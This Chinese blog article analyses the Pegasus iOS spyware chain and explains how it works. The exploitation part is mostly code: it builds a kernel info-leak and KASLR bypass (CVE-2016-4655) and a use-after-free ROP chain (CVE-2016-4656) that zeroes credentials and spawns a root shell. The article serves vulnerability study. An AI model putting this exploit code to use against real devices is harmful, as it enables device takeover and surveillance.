iOS“远程越狱”间谍软件Pegasus技术分析

关注我的博客,访问更多内容!

背景:通过研究发现,用户点击短信内的链接后,攻击者就会利用3个0day漏洞,对用户手机“远程越狱”,然后安装间谍软件,随后就能对设备进行全面控制,还能获取设备中的数据,通过麦克风监听对话,跟踪即时通讯应用的对话内容等。
PEGASUS(三叉戟)攻击影响的系统范围非常广泛,从iOS 7.0以上直至8月8日发布的9.3.4都受到波及。

攻击过程:
攻击共分为三个阶段:
攻击阶段
第一阶段: 传送并利用WebKit漏洞,通过HTML文件利用WebKit中的CVE-2016-4657漏洞。
第二阶段: 越狱。在第一阶段中会根据设备(32/64位)下载相应的,经过加密混淆的包。每次下载的包都是用独一无二的key加密的。软件包内包含针对iOS内核两个漏洞(CVE-2016-4655和CVE-2016-4656)的exp还有一个用来下载解密第三阶段软件包的loader。
第三阶段: 安装间谍软件。经过了第二阶段的越狱,第三阶段中,攻击者会选择需要监听的软件,把hook安装到应用中。另外,第三阶段还会检查设备之前有没有通过其他方式越狱过,如果有,则会移除之前越狱后开放的系统访问权限,如ssh。软件还有一个“故障保险“,如果检测到设备满足某些条件,软件就会自毁。
第三阶段中,间谍会部署一个test222.tar文件,这是一个tar包,包中包含各种实现各种目的的文件,如实现中间人攻击的根TLS证书、针对Viber、Whatsapp的嗅探库、专门用于通话录音的库等。

漏洞分析:

CVE-2016-4655 –– Kernel Info-Leak
info-leak利用计划:
1) 精巧地制作包含一个畸形超出长度大小OSNumber的二进制字典。
2) 使用序列化字典在内核的用户客户端中设置权限。
3) 重复读取设置权限(OSNumber),由于长尺寸导致相邻数据泄露。
4) 使用所读取的数据计算内核偏移地址。
这个漏洞可以让攻击者获取不应该被访问的信息。在许多案例中,这些信息是内核地址。这可以帮助我们计算这个KASLR(Kernel ASLR) 偏移地址,这个随机量是每次启动时随着内核变化的。我们需要这个偏移地址实施一个代码重用攻击,例如ROP。现在看在OSUnserializeBinary的switch语句kOSSerializeNumber case:代码:

case kOSSerializeNumber:bufferPos += sizeof(long long);if (bufferPos > bufferSize) break;value = next[1];value <<= 32;value |= next[0];o = OSNumber::withNumber(value, len);next += 2;break;

这里存在漏洞,因为没有检查OSNumber的长度!使得我们可以创建一个任意字节数的数字。这很容易导致读取到在OSNmber的长度范围之后的一些内核中字节。

CVE-2016-4656 –– Kernel Use-After-Free
利用use-after-free计划:
1)制作一个二进制字典引起UAF和用00填充过的OSData缓冲区重分配已经释放的OSString。
2)映射一个空页
3)在偏移0X20处把栈劫持指针指向空页(这回转移执行代码行到转移链上)
4)在0x0处放一个小转移链指向空页(它会转移执行代码到主链上)
5)引发bug
6)提权。拿shell
这个情况发生在当已释放的内存仍然有引用或被使用时。假象一个对象被释放,它的内部数据被清除,但是程序中的某处那个对象仍然被当作合法使用。这会导致被利用,在被使用之前通过用我们的数据重定位已释放内存。我们会在之后利用。看一下bug所在。代码:

else
{sym = OSDynamicCast(OSSymbol, o);if (!sym && (str = OSDynamicCast(OSString, o))) {sym = (OSSymbol *) OSSymbol::withString(str);o->release();o = 0;}ok = (sym != 0);
}

注意o->release(),释放了o指针,它在特殊的循环中指向了OSString反序列化对象。这会被利用,因为所有的反序列化对象被存储在objsArray数组里,这段释放的代码实际上发生在setAtIndex宏调用之后。这就意味着刚释放的OSString实际上在被objsArray引用,并且因为setAtIndex宏不实现任何引用计数机制,引用存储不会被删除。漏洞可以在switch语句中的kOSSerializeObject case中被利用:代码:

case kOSSerializeObject:if (len >= objsIdx) break;o = objsArray[len];o->retain();isRef = true;break;

注意到它被用来创建引用其他对象,随后对retain是一个十分好的调用,这利用了已释放的对象。我们可以使字典连续,包含一个OSString键值对,然后序列化一个kOSSerializeObject引用,我们这样做的时候,OSString将被释放的,实际上是在已释放的对象调用retain函数。

漏洞利用攻击:

Exploiting CVE-2016-4655
使用列举描述所创建的序列化二进制数据。做这个最简单的方法是定位内存并且写入伪造值进入到它所使用的指针。代码:

void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while(0) 

我们的宏将变得有用,因为这让我们能写入到已定位的内存中并且为我们保持每次使用的索引更新。所以利用我们之前所聚合的知识,让我们继续在XML中为字典写入一个概念。代码:

<dict><symbol>AAA</symbol><number size=0x200>0x4141414141414141</number>
</dict>

我们必须在一个服务上调用io_service_open_extended生成用户客户端。例如,通过打开IOHDIXController(用于磁盘的东西)服务,会生成一个IOHDIXControllerUserClient对象,然后使用它。代码:

serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {printf("(+) UC successfully spawned! Leaking bytes...\n");
} elsereturn -1;

首先我们通过IOServiceGetMatchingService调用从服务获取到了一个端口,从IORegistry通过匹配包含它们的名字(IOServiceMatching)的字典过滤掉服务。然后我们通过io_service_open_extended私有调用来开放服务(生成用户客户端),这能让我们直接地指定权限。现在,我们的用户客户端随着权限的指定已经被创建。我们需要通过手动地迭代调用IORegistry直到我们发现它。然后我们会读取敏感信息,导致info-leak。代码:

IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);

代码所做的是简单地创建一个io_iterator_t和在IORegistry设置它为serv。Serv仅仅是代表内核中的驱动对象的一个Mach端口。因为用户客户端是被委托给主要的驱动对象,所以我们的用户客户端将仅仅在IORegistry中的驱动之后被创建。因此我我们仅仅将迭代器增加一次去获取代表我们的用户客户端的Mach端口。一旦用户客户端对象在内核中被创建并且我们在IORegistry发现了它,我们可以读取权限引起info-leak。Reading the property代码:

char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;
kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {printf("(+) Done! Calculating KASLR slide...\n");
} elsereturn -1;

一旦我们再次使用一个私有调用io_registry_entry_get_property_bytes。这就类似与IORegistryEntryGetProperty,而且让我们直接地获取到原始字节数据。所以,在这点上,buf缓冲区会包含我们已经泄露出的数据。在这就让我们把这贴出来吧:代码:

for (uint32_t k = 0; k < 128; k += 8) {printf("%#llx\n", *(uint64_t *)(buf + k));
}

输出结果:

0x4141414141414141  // our valid number
0xffffff8033c66284  //
0xffffff8035b5d800  //
0x4                 // other data on the stack between our valid number and the ret addr...
0xffffff803506d5a0  //
0xffffff8033c662b4  //
0xffffff818d2b3e30  //
0xffffff80037934bf  // function return address

第一个值,0x4141414141414141,是我们之前定义的。其余的值是从内核栈中泄露出来的。在这点上,检验从用户客户端读取权限的内核代码是很有用的,实际代码是被定位到is_io_registry_entry_get_property_bytes函数,被io_registry_entry_get_property_bytes被调用。然后读取一个OSNumber,所以看看OSNumber case:然后,在if-else语句之外:代码:

if( bytes) {if( *dataCnt < len)ret = kIOReturnIPCError;else {*dataCnt = len;bcopy( bytes, buf, len ); /* j: this leaks data from the stack */}
}

当bcopy函数实施了复制,这将持续保持从bytes指针读取畸形长度,指针是指向一个栈变量的,于是能够有效地从栈中获取泄露数据。等一下就会执行到存储在栈中的函数返回地址处。那个地址能够在内核二进制数据中静态地找到,并且它是不变化的。所以,通过减去一个静态地址到达另外一个地址,这个地址是我们已经从栈中泄露(动态的)获取的,我们会包含获取内核偏移地址!所以,我们必须找到不变的返回地址。打开反汇编程序,加载内核二进制,然后在内核中找到is_io_registry_entry_get_property_bytes函数。现在我们必须在函数中发现Xrefs。代码:

; XREF=sub_ffffff80003933c0+250
...      
ffffff80003934ba         call       _is_io_registry_entry_get_property_bytes    /* the actuall call */
ffffff80003934bf         mov        dword [ds:r14+0x28], eax    /* here's the function return address! */
...

如x86-64 ISA说明,call指令会压入地址0xffffff80003934bf(返回地址)到栈中。在运行时地址会变动,让我们回过去和检验泄露的字节数据转储。代码:

0x4141414141414141  // our valid number
...
0xffffff80037934bf  // function return address

现在我们知道0xffffff80037934bf实际上是变动后的0xffffff80003934bf。我们来做一下计算。代码:0xffffff80037934bf - 0xffffff80003934bf = 0x3400000
这是实际代码的最后部分:代码:

uint64_t hardcoded_ret_addr = 0xffffff80003934bf;
kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;
printf("(i) KASLR slide is %#016llx\n", kslide);

通过动态获得内核的静态地址可以被证实。现在我们有了偏移地址!我们现在可以建造一个ROP功能链并且造成了use-after-free去执行它获取root权限。让我们继续吧!

Exploiting CVE-2016-4656
注意PUSH_GADGET宏被用来写一些值到ROP链,有点像WRITE_IN序列化数据。小组件宏像ROP_POP_XXX被用来寻找内核二进制的ROP的小组件,同样find_symbol_address被用来寻找函数。在插入之前(我们早先找到的偏移地址),组件地址和ROP链中的函数当然偏移地址是变化的。
Crafting the dictionary
过程很像我们之前所做的,但是字典的内容是不同的。在这儿有一个XML转化:代码:

<dict><string>AAA</string><boolean>true</boolean><symbol>BBB</symbol><data>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</data><symbol>CCC</symbol><reference>1</reference> <!-- we are referring to object 1 in the dictionary, the string -->
</dict>

明显地我们在第二个key使用一个OSSymbol,为了避免重分配第一个已经释放的OSString。OSData缓冲区(00填充过)所会发生的是重分配OSString的空间,并且当调用retain发生时(同时OSUnserializeBinary解析引用),内核会读取从我们的缓冲区中读取虚函数表。指针被定位为缓冲区首8个字节,并且读取为0。内核会废弃指针,然后添加retain偏移地址去读取存储在虚函数表中的父retain指针。retain偏移是0x20(32位),并且这意味着RIP将在0x20处结束。Apple不强迫在32位二进制程序中加固__PAGEZERO段。这就意味着如果我们的是32位编译的二进制程序(它已经是了,因为我们编译了它可以使用私有的IOKit APIs),即使缺少__PAGEZERO段,内核也可以执行二进制程序。这就意味着我们可以简单地映射空页和设置我们的栈指针劫持。
Mapping NULL
如之前所说,Apple不强迫在32位二进制程序中增加__PAGEZERO段。通过编译我们的包括-pagezero_size,0标志的二进制程序为32位,我们可以有效地禁止__PAGEZERO段并且在运行时的映射为空。代码:

mach_vm_address_t null_map = 0;
vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)return;

在内核间接引用我们伪造的虚函数表指针指向NULL+0x20,我们成功地获得了RIP的控制。然而在运行我们的主要主链之前,我们需要劫持栈,也就是获得RSP控制(或者说栈控制)。有很多方式可以完成这个目的,但是最终的目标是把链地址放进RSP。如果我们不设置RSP为链地址,接下来的各个组件就不会运行,因为ret指令在第一个链组件处就会返回错误的堆栈(原来的那个)。当RSP正确地设置了,ret指令就会从ROP栈中读取我们接下来的组件/函数地址,并且设置RIP为它。我们用空来间接引用获取栈控制的方法是使用一个单独组件来交换RSP和RAX的值。如果RAX的值被控制,就结束了。在本情境下,RAX总是为0(它会保持我们的OSData缓冲区接下来的8个字节,因此总为0),所以我们可以在0处映射我们一条小转移链,并且在0x20处设置劫持。RIP将会发生的是被设置为0x20,执行组件替换把RSP设置为0,然后返回,栈中弹出的首地址给RIP然后开始执行链。代码:

*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

准备是转移代码,它仅仅读取了栈中下一个值并把值弹出给RSP(因为我们控制了RSP,所以我们现在可以做到)代码:

uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;

现在是真正利用的部分。要能够执行内核代码,我们必须在内存中找到我们的进程凭证结构并且填充将它为0,来提升我们的权限。通过填充为0,我们提升了我们的进程权限(root组ID全都是0)。我们需要模仿setuid(0),但是我们不能调用它,因为有权限检查。thread_exception_return会将我们从内核空间踢出来,所以它被用来从内核限制中返回。ROP_RAX_TO_ARG1宏移动RAX寄存器到RDI(下一个函数调用的第一个参数)中,RAX保存着之前调用所返回的值。代码:

/*
*   chain prototype:
*   proc = current_proc();
*   ucred = proc_ucred(proc);
*   posix_cred = posix_cred_get(ucred);
*   bzero(posix_cred, (sizeof(int) * 3));
*   thread_exception_return();
*/
rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

最终我们可以使用引发bug,代码:

host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)return;

接下来我们将提升我们的权限了。检查每个步骤是否进行很好,简单地调用getuid并且看看返回的值为0.如果这样你的进程现在就有root权限了,所以就调用system("/bin/bash")弹出一个shell!代码:

if (getuid() == 0) {puts("(+) got r00t!");system("/bin/bash");
}

这就是我们的shell,攻击完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/28823.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20、Theos越狱调试Wallet

前面的总结中使用砸壳重签后的App进行调试,本篇在越狱环境下不重签App进行调试,但是还是需要砸壳获取Headers. 一、Cycript 1.1 在越狱环境中使用Cycript 在越狱环境上,安装Cycript插件.需要先安装adv-cmds插件,因为被Cycript插件所依赖、在Cydia中,安装Cycript 在设备中找到…

用上这几个开源管理系统做项目,领导看了直呼专业!

大家好&#xff0c;我是宝哥&#xff01; SCUI Admin 中后台前端解决方案 SCUI 是一个中后台前端解决方案&#xff0c;基于 VUE3和 elementPlus 实现。使用最新的前端技术栈&#xff0c;提供各类实用的组件方便在业务开发时的调用&#xff0c;并且持续性的提供丰富的业务模板帮…

chatgpt赋能python:用Python自动答题,助你轻松应对各种考试

用Python自动答题&#xff0c;助你轻松应对各种考试 Python作为一门高效简洁的编程语言&#xff0c;被广泛运用于数据分析、Web开发等领域。同时&#xff0c;它也可以被用来进行自动化任务&#xff0c;例如自动化答题。这篇文章将介绍如何用Python自动答题&#xff0c;并提供一…

7分钟环游地球!ChatGPT开启时空传送门,输入地址一秒穿越

v 新智元 新智元 2023-05-20 21:27 发表于北京 新智元报道 编辑&#xff1a;桃子 拉燕 【新智元导读】7分钟环游世界&#xff0c;还是坐在家里的那种。 环游世界&#xff0c;或是很多人梦寐以求的人生。 无奈&#xff0c;身为打工人&#xff0c;又有多少人能真正得偿所愿。…

一文读懂什么是chatGPT

第一章&#xff1a;chatGPT是什么 ChatGPT是一种基于语言模型的对话生成系统。它是由OpenAI开发的&#xff0c;通过训练大规模的神经网络模型来实现。ChatGPT可以接收用户的输入&#xff0c;并生成与之相关的自然语言回复。它可以用于各种对话场景&#xff0c;如客户服务、虚拟…

今天,GPT-4登陆Office全家桶,打工人的生产方式被颠覆了

点击上方“3D视觉工坊”&#xff0c;选择“星标” 干货第一时间送达 作者丨机器之心 编辑丨3D视觉工坊 点击进入—>3D视觉工坊学习交流群 未来和 AI 一起工作是这样的。 「用人工智能重塑生产力」&#xff0c;微软老早就在 3 月 16 日活动主题上为我们打了预防针&#xff0c…

AI 工具合辑盘点(六)持续更新

AI 图像生成和编辑工具 不久前&#xff0c;艺术创作是特定群体的领域。 不再是这样了&#xff01; 今天&#xff0c;在人工智能艺术生成器的帮助下&#xff0c;任何人都可以通过编写文本提示并让人工智能创建所需的图像来成为艺术家。 &#x1f3a8;&#x1f58c; 文本到图像…

AIGC技术盛行之后引起的影响

前言 虽然人工智能一直都是近几年的热门技术和话题&#xff0c;但是今年技术圈被AI刷爆了&#xff0c;前有chatGPT&#xff0c;后有AIGC&#xff0c;可以说最近的技术圈很热闹。这里先抛开chatGPT不提&#xff0c;就说说AIGC&#xff0c;AIGC其实就是利用人工智能技术来生成内容…

微软元宇宙「大撤退」,VR/AR多个团队原地解散!全心押宝ChatGPT

2023年开年第一波大裁员&#xff0c;微软重创手下VR/AR团队。有了「新宠」ChatGPT&#xff0c;手中的「元宇宙」真的不香了。 元宇宙有多热&#xff0c;我们在2021年都见证过。 而经过2022年的洗礼&#xff0c;这一概念似乎已经完全冷却下来。烧掉360亿美元后&#xff0c;小扎…

【AI人工智能】AI绘画能取代设计师?

图来自:https://www.nytimes.com/2022/09/02/technology/ai-artificial-intelligence-artists.html 近期智能AI话题爆火,前有ChatGpt,现又出现了一个AI绘图工具Midjourney,号称没有美术基础的人也能快速上手制作出漂亮的图像。也有不少声音表示设计师都要失业了。AI绘图工…

Python开源项目周排行 2023年第10周

​原文地址&#xff1a;2023年第10周- Python学习网站导航 #2023年第10周2023年3月25日1ChatPaper使用 ChatGPT来总结论文。AI用一分钟总结论文&#xff0c;用户用一分钟阅读AI总结的论文。2川虎 ChatGPT为ChatGPT API提供了一个轻快好用的Web图形界面3transformersTransformer…

GDI+下字体大小自适应方案初探

在某个瞬间&#xff0c;我忽然发觉&#xff0c;三体或是AI&#xff0c;本质上是非常相近的事物&#xff0c;甚至在面对任何未知领域的时候&#xff0c;人类总会不自觉地划分为降临派、拯救派和幸存派。姑且不论马斯克等人叫停 GPT-5 的真实动机如何&#xff0c;当大语言模型(LL…

超实用攻略!GPT能玩的这么6,你居然还不知道?

开篇 自古以来,智者皆知学无止境,而在我们身边,正有一款奠基于这个原则的AI机器人—ChatGPT,他擅长从网络上学习各种知识,然后把这些知识用在他的对话中。没错,它就是天马行空的闲话家,无所不谈的取经者。可你知道怎样让它更加符合你的使用需求,适应你的工作节奏么?哦…

基于本地知识库的问答机器人langchain-ChatGLM

原文&#xff1a;基于本地知识的问答机器人langchain-ChatGLM - 知乎 背景 ChatGPT火了后&#xff0c;各种大语言模型&#xff08;LLM&#xff09;模型相继被发布&#xff0c;完全开源的有ChatGLM、BLOOM、LLaMA等。但是这些模型学到的知识是滞后的&#xff08;比如ChatGPT的…

诞生的新职业——提示工程师,年薪已经达到了25万-33万美元

提示工程&#xff0c;可以说是玩转ChatGPT、DALLE 2等等这类AI模型的「必修课」。 但这个「提示」&#xff08;prompt&#xff09;具体要怎么写&#xff0c;多少都有些玄学在里面…… 也难怪由此诞生的新职业——提示工程师&#xff0c;年薪已经达到了25万-33万美元。 就在前不…

安全运营场景下的语言模型应用

接上篇&#xff0c;将安全运营的定义为“使用算法能力提取关键信息”&#xff0c;以此来规避算法误判漏判带来的责任问题&#xff0c;同时提升运营人员的工作效率。在这篇尝试对语言模型的使用方法做一下讨论和分享。 1. 语言模型 先聊一下语言模型。&#xff08;这里刻意规避…

聚观早报 | ChatGPT 停止 Plus 付费;李子柒油管广告收益登顶热搜

今日要闻&#xff1a;ChatGPT 停止 Plus 付费&#xff1b;李子柒油管广告收益登顶热搜&#xff1b;亚马逊游戏部门百名员工被裁&#xff1b;国内一公司推出太空葬&#xff1b;苹果将在印度国金融中心开设零售店 ChatGPT 停止 Plus 付费 4 月 5 日消息&#xff0c;ChatGPT 目前…

chatgpt赋能python:Python读取CSV:简单易懂的教程

Python读取CSV&#xff1a;简单易懂的教程 Python是一种功能强大的编程语言&#xff0c;它可以处理各种不同类型的数据。当需要处理大量的数据时&#xff0c;CSV文件就是一种非常方便的处理方式。这篇文章将介绍如何使用Python来读取CSV文件&#xff0c;帮助您更高效地进行数据…

chatgpt赋能python:Python如何选取CSV某几列数据

Python如何选取CSV某几列数据 在数据处理过程中&#xff0c;CSV是一种非常常见的数据文件类型。CSV文件中的数据由逗号分隔的值&#xff08;Comma-Separated Values&#xff09;组成。处理CSV数据的任务之一是从CSV文件中选择特定的列数据&#xff0c;以进行数据分析或处理。在…

chatgpt赋能python:Python实现CSV文件只取某两列的方法详解

Python实现CSV文件只取某两列的方法详解 介绍 CSV是一种常见的数据格式&#xff0c;通常使用逗号或分号分隔不同的字段。在处理CSV文件时&#xff0c;我们经常需要只提取其中的某些列&#xff0c;以便进行进一步的分析或处理。使用Python语言&#xff0c;可以很方便地实现这一…